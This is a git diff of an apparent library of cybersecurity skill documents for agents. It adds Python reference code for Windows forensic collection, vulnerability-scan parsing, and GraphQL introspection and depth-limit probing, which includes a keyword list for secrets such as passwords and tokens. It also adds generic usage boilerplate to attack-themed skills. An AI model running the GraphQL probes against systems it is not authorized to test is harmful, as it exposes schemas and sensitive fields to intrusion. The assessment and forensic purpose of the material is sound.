`collect_network_connections()` — Active connections via `netstat -ano` +```python +def collect_network_connections(): + result = subprocess.run( + ["netstat", "-ano"], capture_output=True, text=True, timeout=15, + ) + connections = [] + for line in result.stdout.strip().split("\n")[4:]: + parts = line.split() + if len(parts) >= 5: + connections.append({ + "proto": parts[0], + "local_address": parts[1], + "remote_address": parts[2], + "state": parts[3] if parts[3] != parts[-1] else "", + "pid": parts[-1], + }) + return connections +``` + ### `collect_autoruns()` — Registry Run keys and scheduled tasks +```python +RUN_KEYS = [ + r"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", + r"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", + r"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", + r"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", +] + +def collect_autoruns(): + autoruns = {"registry_run_keys": [], "scheduled_tasks": []} + + for key in RUN_KEYS: + result = subprocess.run( + ["reg", "query", key], capture_output=True, text=True, timeout=10, + ) + for line in result.stdout.strip().split("\n"): + parts = line.strip().split(" ") + if len(parts) >= 3: + autoruns["registry_run_keys"].append({ + "key": key, + "name": parts[0].strip(), + "value": parts[-1].strip(), + }) + + result = subprocess.run( + ["schtasks", "/query", "/fo", "csv", "/v"], + capture_output=True, text=True, timeout=30, + ) + reader = csv.DictReader(result.stdout.strip().split("\n")) + for row in reader: + if row.get("TaskName") and row.get("Status") == "Ready": + autoruns["scheduled_tasks"].append({ + "name": row.get("TaskName"), + "next_run": row.get("Next Run Time"), + "task_to_run": row.get("Task To Run"), + "run_as_user": row.get("Run As User"), + }) + + return autoruns +``` + +### `collect_user_accounts()` — Local user enumeration +```python +def collect_user_accounts(): + result = subprocess.run( + ["net", "user"], capture_output=True, text=True, timeout=10, + ) + users = [] + for line in result.stdout.strip().split("\n")[4:]: + for name in line.split(): + if name and not name.startswith("-"): + users.append(name) + return users +``` + ### `hash_file(filepath)` — MD5/SHA1/SHA256 hash calculation +```python +def hash_file(filepath): + """Calculate cryptographic hashes for evidence integrity.""" + md5 = hashlib.md5() + sha1 = hashlib.sha1() + sha256 = hashlib.sha256() + + with open(filepath, "rb") as f: + while chunk := f.read(8192): + md5.update(chunk) + sha1.update(chunk) + sha256.update(chunk) + + return { + "file": filepath, + "md5": md5.hexdigest(), + "sha1": sha1.hexdigest(), + "sha256": sha256.hexdigest(), + } +``` + +## Output Format + +```json +{ + "timestamp": "2025-01-15T10:30:00", + "hostname": "WORKSTATION-01", + "system_info": { + "os_name": "Microsoft Windows 10 Pro", + "os_version": "10.0.19045", + "domain": "CORP" + }, + "processes": [ + {"pid": "4532", "name": "powershell.exe", "cmdline": "powershell -enc ..."} + ], + "network": [ + {"proto": "TCP", "local_address": "10.0.0.5:49721", "remote_address": "198.51.100.42:443", "state": "ESTABLISHED", "pid": "4532"} + ], + "autoruns": { + "registry_run_keys": [ + {"key": "HKCU\\...\\Run", "name": "WindowsUpdate", "value": "C:\\Users\\Public\\update.exe"} + ], + "scheduled_tasks": 45 + } +} +``` ## Dependencies -No external packages — uses Windows built-in commands and Python stdlib. + +No external packages — uses Windows built-in commands and Python standard library. diff --git a/skills/performing-endpoint-vulnerability-remediation/references/api-reference.md b/skills/performing-endpoint-vulnerability-remediation/references/api-reference.md index 6cf0712a..0e507783 100644 --- a/skills/performing-endpoint-vulnerability-remediation/references/api-reference.md +++ b/skills/performing-endpoint-vulnerability-remediation/references/api-reference.md @@ -1,12 +1,19 @@ # API Reference — Performing Endpoint Vulnerability Remediation ## Libraries Used -- **csv**: Parse vulnerability scan CSV exports (Nessus, Qualys, Rapid7) -- **subprocess**: Check installed Windows patches via `wmic qfe` -- **socket**: Validate port-based remediation + +| Library | Purpose | +|---------|---------| +| `csv` | Parse vulnerability scan CSV exports (Nessus, Qualys, Rapid7) | +| `subprocess` | Check installed Windows patches via `wmic qfe` and PowerShell | +| `socket` | Validate port-based remediation via TCP connect | +| `json` | Read/write remediation plans and reports | +| `argparse` | CLI argument parsing for scan file and host parameters | +| `datetime` | Track patch dates and SLA deadlines | ## CLI Interface -``` + +```bash python agent.py parse --scan-file scan.csv python agent.py patches python agent.py validate --host 10.0.0.1 --port 445 @@ -14,10 +21,121 @@ python agent.py report --scan-file scan.csv [--output plan.json] ``` ## Core Functions + ### `parse_scan_report(csv_file)` — Parse and prioritize vulnerabilities by severity +```python +def parse_scan_report(csv_file): + """Parse Nessus/Qualys CSV export, group by host, sort by severity.""" + with open(csv_file, newline="") as f: + reader = csv.DictReader(f) + vulns = [] + for row in reader: + vulns.append({ + "host": row.get("Host", row.get("IP")), + "plugin_id": row.get("Plugin ID", row.get("QID")), + "severity": row.get("Risk", row.get("Severity", "Info")), + "name": row.get("Name", row.get("Title")), + "cve": row.get("CVE", ""), + "solution": row.get("Solution", row.get("Fix", "")), + }) + severity_order = {"Critical": 0, "High": 1, "Medium": 2, "Low": 3, "Info": 4} + return sorted(vulns, key=lambda v: severity_order.get(v["severity"], 5)) +``` + ### `check_windows_patches()` — List installed Windows hotfixes via WMIC +```python +def check_windows_patches(): + """Query installed patches on a Windows endpoint.""" + result = subprocess.run( + ["wmic", "qfe", "get", "HotFixID,InstalledOn,Description", "/format:csv"], + capture_output=True, text=True, timeout=30, + ) + patches = [] + for line in result.stdout.strip().split("\n")[1:]: + parts = line.strip().split(",") + if len(parts) >= 4: + patches.append({ + "hotfix_id": parts[1], + "description": parts[2], + "installed_on": parts[3], + }) + return patches +``` + ### `validate_remediation(host, port)` — TCP connect to verify port closure +```python +def validate_remediation(host, port): + """Verify that a vulnerable port has been closed after remediation.""" + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(5) + try: + result = sock.connect_ex((host, int(port))) + return { + "host": host, + "port": port, + "status": "open" if result == 0 else "closed", + "remediated": result != 0, + } + finally: + sock.close() +``` + ### `generate_remediation_report(scan_file, output)` — Group vulns by host for remediation +```python +def generate_remediation_report(scan_file, output=None): + """Generate a prioritized remediation plan from scan results.""" + vulns = parse_scan_report(scan_file) + by_host = {} + for v in vulns: + by_host.setdefault(v["host"], []).append(v) + + report = { + "total_vulns": len(vulns), + "hosts_affected": len(by_host), + "by_severity": {}, + "remediation_plan": [], + } + for severity in ["Critical", "High", "Medium", "Low"]: + count = sum(1 for v in vulns if v["severity"] == severity) + report["by_severity"][severity] = count + + for host, host_vulns in sorted(by_host.items()): + report["remediation_plan"].append({ + "host": host, + "vuln_count": len(host_vulns), + "critical": sum(1 for v in host_vulns if v["severity"] == "Critical"), + "patches": [v["name"] for v in host_vulns[:10]], + }) + + if output: + with open(output, "w") as f: + json.dump(report, f, indent=2) + return report +``` + +## Output Format + +```json +{ + "total_vulns": 245, + "hosts_affected": 42, + "by_severity": { + "Critical": 8, + "High": 35, + "Medium": 112, + "Low": 90 + }, + "remediation_plan": [ + { + "host": "10.0.0.50", + "vuln_count": 12, + "critical": 2, + "patches": ["MS17-010: EternalBlue", "CVE-2024-21887: Ivanti RCE"] + } + ] +} +``` ## Dependencies + No external packages — Python standard library only. diff --git a/skills/performing-external-network-penetration-test/SKILL.md b/skills/performing-external-network-penetration-test/SKILL.md index b2a335a4..ad2a857f 100644 --- a/skills/performing-external-network-penetration-test/SKILL.md +++ b/skills/performing-external-network-penetration-test/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 An external network penetration test simulates a real-world attacker targeting an organization's internet-facing assets such as firewalls, web servers, mail servers, DNS servers, VPN gateways, and cloud endpoints. The objective is to identify exploitable vulnerabilities before malicious actors do, following frameworks like PTES (Penetration Testing Execution Standard), OSSTMM, and NIST SP 800-115. + +## When to Use + +- When conducting security assessments that involve performing external network penetration test +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Written authorization (Rules of Engagement document signed by asset owner) diff --git a/skills/performing-false-positive-reduction-in-siem/SKILL.md b/skills/performing-false-positive-reduction-in-siem/SKILL.md index 31c7beb9..b801834a 100644 --- a/skills/performing-false-positive-reduction-in-siem/SKILL.md +++ b/skills/performing-false-positive-reduction-in-siem/SKILL.md @@ -15,6 +15,21 @@ license: Apache-2.0 False positive alerts are non-malicious events that trigger security rules, overwhelming SOC analysts with noise. Studies show that up to 45% of SIEM alerts are false positives, and a typical SOC analyst can only investigate 20-25 alerts per shift effectively. Reducing false positives requires systematic tuning across thresholds, correlation logic, allowlists, enrichment, and continuous validation. SIEM rules should be reviewed on a quarterly cycle at minimum. + +## When to Use + +- When conducting security assessments that involve performing false positive reduction in siem +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + +## Prerequisites + +- Familiarity with soc operations concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## False Positive Reduction Techniques ### 1. Identify the Noisiest Rules diff --git a/skills/performing-graphql-depth-limit-attack/SKILL.md b/skills/performing-graphql-depth-limit-attack/SKILL.md index b4001e34..30083aa3 100644 --- a/skills/performing-graphql-depth-limit-attack/SKILL.md +++ b/skills/performing-graphql-depth-limit-attack/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 GraphQL depth limit attacks exploit the recursive nature of GraphQL schemas to craft deeply nested queries that consume excessive server resources, leading to denial of service. Unlike REST APIs with fixed endpoints, GraphQL allows clients to request arbitrary data structures. When schemas contain circular relationships (e.g., User -> Posts -> Author -> Posts), attackers can create queries that recurse indefinitely, overwhelming the server's CPU, memory, database connections, and network bandwidth. + +## When to Use + +- When conducting security assessments that involve performing graphql depth limit attack +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Target GraphQL API endpoint with introspection enabled or known schema diff --git a/skills/performing-graphql-introspection-attack/references/api-reference.md b/skills/performing-graphql-introspection-attack/references/api-reference.md index 0a20034c..133fd0ca 100644 --- a/skills/performing-graphql-introspection-attack/references/api-reference.md +++ b/skills/performing-graphql-introspection-attack/references/api-reference.md @@ -1,10 +1,22 @@ # API Reference — Performing GraphQL Introspection Attack ## Libraries Used -- **requests**: Send GraphQL introspection queries and depth test payloads + +| Library | Purpose | +|---------|---------| +| `requests` | Send GraphQL introspection queries and depth test payloads | +| `json` | Parse schema responses and format results | +| `argparse` | CLI argument parsing for URL, auth headers, depth limits | + +## Installation + +```bash +pip install requests +``` ## CLI Interface -``` + +```bash python agent.py introspect --url [--auth-header "Bearer token"] python agent.py depth --url [--max-depth 10] ``` @@ -12,15 +24,157 @@ python agent.py depth --url [--max-depth 10] ## Core Functions ### `run_introspection(url, headers)` — Execute `__schema` introspection query -Returns: types, queries, mutations, sensitive field detection. + +```python +INTROSPECTION_QUERY = """ +{ + __schema { + queryType { name } + mutationType { name } + subscriptionType { name } + types { + name + kind + fields { + name + type { name kind ofType { name kind } } + args { name type { name kind } } + } + } + } +} +""" + +def run_introspection(url, headers=None): + """Execute full introspection query and extract schema details.""" + resp = requests.post( + url, + json={"query": INTROSPECTION_QUERY}, + headers=headers or {}, + timeout=30, + ) + resp.raise_for_status() + schema = resp.json().get("data", {}).get("__schema", {}) + + types = [t for t in schema.get("types", []) if not t["name"].startswith("__")] + queries = [] + mutations = [] + sensitive_fields = [] + + for t in types: + for field in (t.get("fields") or []): + if t["name"] == schema.get("queryType", {}).get("name"): + queries.append(field["name"]) + if t["name"] == schema.get("mutationType", {}).get("name"): + mutations.append(field["name"]) + if any(kw in field["name"].lower() for kw in SENSITIVE_PATTERNS): + sensitive_fields.append({"type": t["name"], "field": field["name"]}) + + return { + "types_count": len(types), + "queries": queries, + "mutations": mutations, + "sensitive_fields": sensitive_fields, + "introspection_enabled": True, + } +``` ### `test_depth_limit(url, max_depth, headers)` — Test query depth enforcement -Sends increasingly nested queries to detect missing depth limits. + +```python +def test_depth_limit(url, max_depth=15, headers=None): + """Send increasingly nested queries to detect missing depth limits.""" + results = [] + for depth in range(1, max_depth + 1): + # Build a nested query using __typename + nested = "{ __typename " * depth + "}" * depth + query = f"query DepthTest {nested}" + + try: + resp = requests.post( + url, + json={"query": query}, + headers=headers or {}, + timeout=10, + ) + status = resp.status_code + has_errors = "errors" in resp.json() + results.append({ + "depth": depth, + "status": status, + "blocked": has_errors and status != 200, + }) + if has_errors: + return { + "max_allowed_depth": depth - 1, + "depth_limit_enforced": True, + "results": results, + } + except requests.Timeout: + return { + "max_allowed_depth": depth - 1, + "depth_limit_enforced": True, + "reason": "timeout", + "results": results, + } + + return { + "max_allowed_depth": max_depth, + "depth_limit_enforced": False, + "severity": "high", + "detail": f"No depth limit detected up to {max_depth} levels", + "results": results, + } +``` + +### `test_batch_query(url, headers)` — Test for batching attacks + +```python +def test_batch_query(url, headers=None): + """Test if the endpoint allows batched queries (alias-based brute force).""" + batch = [ + {"query": '{ alias0: __typename }'}, + {"query": '{ alias1: __typename }'}, + {"query": '{ alias2: __typename }'}, + ] + resp = requests.post(url, json=batch, headers=headers or {}, timeout=10) + return { + "batch_supported": resp.status_code == 200 and isinstance(resp.json(), list), + "responses": len(resp.json()) if isinstance(resp.json(), list) else 0, + } +``` ## Sensitive Field Patterns -`password`, `token`, `secret`, `credential`, `ssn`, `credit_card`, `api_key` -## Dependencies +```python +SENSITIVE_PATTERNS = [ + "password", "token", "secret", "credential", "ssn", + "credit_card", "api_key", "apikey", "private_key", + "auth", "session", "otp", "pin", "cvv", +] ``` -pip install requests + +## Output Format + +```json +{ + "url": "https://api.example.com/graphql", + "introspection_enabled": true, + "types_count": 45, + "queries": ["users", "orders", "admin_dashboard"], + "mutations": ["createUser", "deleteAccount", "updatePassword"], + "sensitive_fields": [ + {"type": "User", "field": "password_hash"}, + {"type": "Session", "field": "auth_token"} + ], + "depth_limit": { + "enforced": false, + "max_tested": 15, + "severity": "high" + }, + "batch_queries": { + "supported": true, + "severity": "medium" + } +} ``` diff --git a/skills/performing-hash-cracking-with-hashcat/SKILL.md b/skills/performing-hash-cracking-with-hashcat/SKILL.md index 8ae0d1b4..cafaaff2 100644 --- a/skills/performing-hash-cracking-with-hashcat/SKILL.md +++ b/skills/performing-hash-cracking-with-hashcat/SKILL.md @@ -14,6 +14,21 @@ license: Apache-2.0 Hash cracking is an essential skill for penetration testers and security auditors to evaluate password strength. Hashcat is the world's fastest password recovery tool, supporting over 300 hash types with GPU acceleration. This skill covers using hashcat for authorized password auditing, understanding attack modes, creating effective rule sets, and generating hash analysis reports. This is strictly for authorized penetration testing and password policy assessment. + +## When to Use + +- When conducting security assessments that involve performing hash cracking with hashcat +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + +## Prerequisites + +- Familiarity with cryptography concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Objectives - Identify hash types from captured hashes diff --git a/skills/performing-jwt-none-algorithm-attack/SKILL.md b/skills/performing-jwt-none-algorithm-attack/SKILL.md index 68f2332c..f81917e8 100644 --- a/skills/performing-jwt-none-algorithm-attack/SKILL.md +++ b/skills/performing-jwt-none-algorithm-attack/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 The JWT none algorithm attack exploits a vulnerability in JSON Web Token libraries that accept tokens with the `alg` header set to `none`, effectively bypassing signature verification. When a server processes a JWT with `"alg": "none"`, it treats the token as valid without checking any cryptographic signature, allowing attackers to forge tokens with arbitrary claims such as escalated privileges, impersonated users, or extended expiration times. This vulnerability was first disclosed by Tim McLean in 2015 and has affected multiple JWT libraries across languages. + +## When to Use + +- When conducting security assessments that involve performing jwt none algorithm attack +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Target application using JWT for authentication or authorization diff --git a/skills/performing-kubernetes-cis-benchmark-with-kube-bench/SKILL.md b/skills/performing-kubernetes-cis-benchmark-with-kube-bench/SKILL.md index 94ace5cd..c8a0f207 100644 --- a/skills/performing-kubernetes-cis-benchmark-with-kube-bench/SKILL.md +++ b/skills/performing-kubernetes-cis-benchmark-with-kube-bench/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 kube-bench is an open-source Go tool by Aqua Security that runs the CIS Kubernetes Benchmark checks. It verifies control plane, etcd, worker node, and policy configurations against security best practices, producing actionable pass/fail/warn reports. + +## When to Use + +- When conducting security assessments that involve performing kubernetes cis benchmark with kube bench +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Kubernetes cluster (v1.24+) diff --git a/skills/performing-kubernetes-etcd-security-assessment/SKILL.md b/skills/performing-kubernetes-etcd-security-assessment/SKILL.md index 016c1cff..badcb0fc 100644 --- a/skills/performing-kubernetes-etcd-security-assessment/SKILL.md +++ b/skills/performing-kubernetes-etcd-security-assessment/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 etcd is the distributed key-value store that serves as Kubernetes' backing store for all cluster data, including Secrets, RBAC policies, ConfigMaps, and workload configurations. Without proper hardening, etcd exposes all cluster secrets in plaintext, making it the highest-value target for attackers who gain control plane access. A comprehensive security assessment covers encryption at rest, TLS for transport, access control, backup security, and network isolation. + +## When to Use + +- When conducting security assessments that involve performing kubernetes etcd security assessment +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Access to Kubernetes control plane nodes diff --git a/skills/performing-linux-log-forensics-investigation/SKILL.md b/skills/performing-linux-log-forensics-investigation/SKILL.md index 82324514..d722aa44 100644 --- a/skills/performing-linux-log-forensics-investigation/SKILL.md +++ b/skills/performing-linux-log-forensics-investigation/SKILL.md @@ -15,6 +15,21 @@ license: Apache-2.0 Linux systems maintain extensive logs that serve as primary evidence sources in forensic investigations. Unlike Windows Event Logs, Linux logs are typically plain-text files stored in /var/log/ and binary journal files managed by systemd-journald. Key forensic logs include auth.log (authentication events, sudo usage, SSH sessions), syslog (system-wide messages), kern.log (kernel events), and application-specific logs. The Linux Audit framework (auditd) provides detailed security event logging comparable to Windows Security Event Logs. Forensic analysis of these logs enables investigators to reconstruct user sessions, identify unauthorized access, detect privilege escalation, trace lateral movement, and establish comprehensive event timelines. + +## When to Use + +- When conducting security assessments that involve performing linux log forensics investigation +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + +## Prerequisites + +- Familiarity with digital forensics concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Key Log Files and Locations | Log File | Path | Contents | diff --git a/skills/performing-log-source-onboarding-in-siem/SKILL.md b/skills/performing-log-source-onboarding-in-siem/SKILL.md index 051eb711..98af609f 100644 --- a/skills/performing-log-source-onboarding-in-siem/SKILL.md +++ b/skills/performing-log-source-onboarding-in-siem/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Log source onboarding is the systematic process of integrating new data sources into a SIEM platform to enable security monitoring and detection. Proper onboarding requires planning data sources, configuring collection agents, building parsers, normalizing fields to a common schema, and validating data quality. According to the UK NCSC, onboarding should prioritize log sources that provide the highest security value relative to their ingestion cost. + +## When to Use + +- When conducting security assessments that involve performing log source onboarding in siem +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - SIEM platform deployed (Splunk, Elastic, Sentinel, QRadar, or similar) diff --git a/skills/performing-network-packet-capture-analysis/SKILL.md b/skills/performing-network-packet-capture-analysis/SKILL.md index 86d266d3..4d32cb6a 100644 --- a/skills/performing-network-packet-capture-analysis/SKILL.md +++ b/skills/performing-network-packet-capture-analysis/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Network packet captures (PCAP/PCAPNG files) represent the ultimate source of truth about network activity and provide irrefutable evidence of communications between hosts. PCAP files log every packet transmitted over a network segment, making them vital for forensic investigations involving data exfiltration, command-and-control communications, lateral movement, malware delivery, and unauthorized access. Wireshark is the primary tool for interactive analysis, while tshark provides command-line capabilities for automated processing and scripting. Modern PCAPNG format supports additional metadata including interface descriptions, capture comments, precise timestamps, and per-packet annotations. + +## When to Use + +- When conducting security assessments that involve performing network packet capture analysis +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Wireshark 4.x with protocol dissectors diff --git a/skills/performing-physical-intrusion-assessment/SKILL.md b/skills/performing-physical-intrusion-assessment/SKILL.md index 5a7e3eac..24cbe3c5 100644 --- a/skills/performing-physical-intrusion-assessment/SKILL.md +++ b/skills/performing-physical-intrusion-assessment/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Physical intrusion assessment evaluates an organization's physical security controls by attempting to gain unauthorized access to facilities, server rooms, and restricted areas. This includes tailgating employees, cloning RFID access badges, bypassing locks, deploying rogue network devices, and testing security guard procedures. Physical security testing is a critical component of full-scope red team engagements, as it often provides the most direct path to network access. MITRE ATT&CK maps physical access techniques under T1200 (Hardware Additions) and T1091 (Replication Through Removable Media). + +## When to Use + +- When conducting security assessments that involve performing physical intrusion assessment +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Signed authorization letter (carry at all times during assessment) diff --git a/skills/performing-privilege-escalation-on-linux/SKILL.md b/skills/performing-privilege-escalation-on-linux/SKILL.md index 21706653..389125e6 100644 --- a/skills/performing-privilege-escalation-on-linux/SKILL.md +++ b/skills/performing-privilege-escalation-on-linux/SKILL.md @@ -17,6 +17,21 @@ license: Apache-2.0 Linux privilege escalation involves elevating from a low-privilege user account to root access on a compromised system. Red teams exploit misconfigurations, vulnerable services, kernel exploits, and weak permissions to achieve root. This skill covers both manual enumeration techniques and automated tools for identifying and exploiting privilege escalation vectors. + +## When to Use + +- When conducting security assessments that involve performing privilege escalation on linux +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + +## Prerequisites + +- Familiarity with red teaming concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## MITRE ATT&CK Mapping - **T1548.001** - Abuse Elevation Control Mechanism: Setuid and Setgid diff --git a/skills/performing-privileged-account-discovery/SKILL.md b/skills/performing-privileged-account-discovery/SKILL.md index cf413c7d..51b2fa25 100644 --- a/skills/performing-privileged-account-discovery/SKILL.md +++ b/skills/performing-privileged-account-discovery/SKILL.md @@ -13,6 +13,21 @@ license: Apache-2.0 ## Overview Discover and inventory all privileged accounts across enterprise infrastructure including domain admins, local admins, service accounts, database admins, cloud IAM roles, and application admin accounts. Covers automated scanning, risk classification, and onboarding to PAM. + +## When to Use + +- When conducting security assessments that involve performing privileged account discovery +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + +## Prerequisites + +- Familiarity with identity access management concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Objectives - Implement comprehensive performing privileged account discovery capability - Establish automated discovery and monitoring processes diff --git a/skills/performing-ransomware-incident-response.bak/LICENSE b/skills/performing-ransomware-incident-response.bak/LICENSE deleted file mode 100644 index d8851182..00000000 --- a/skills/performing-ransomware-incident-response.bak/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - 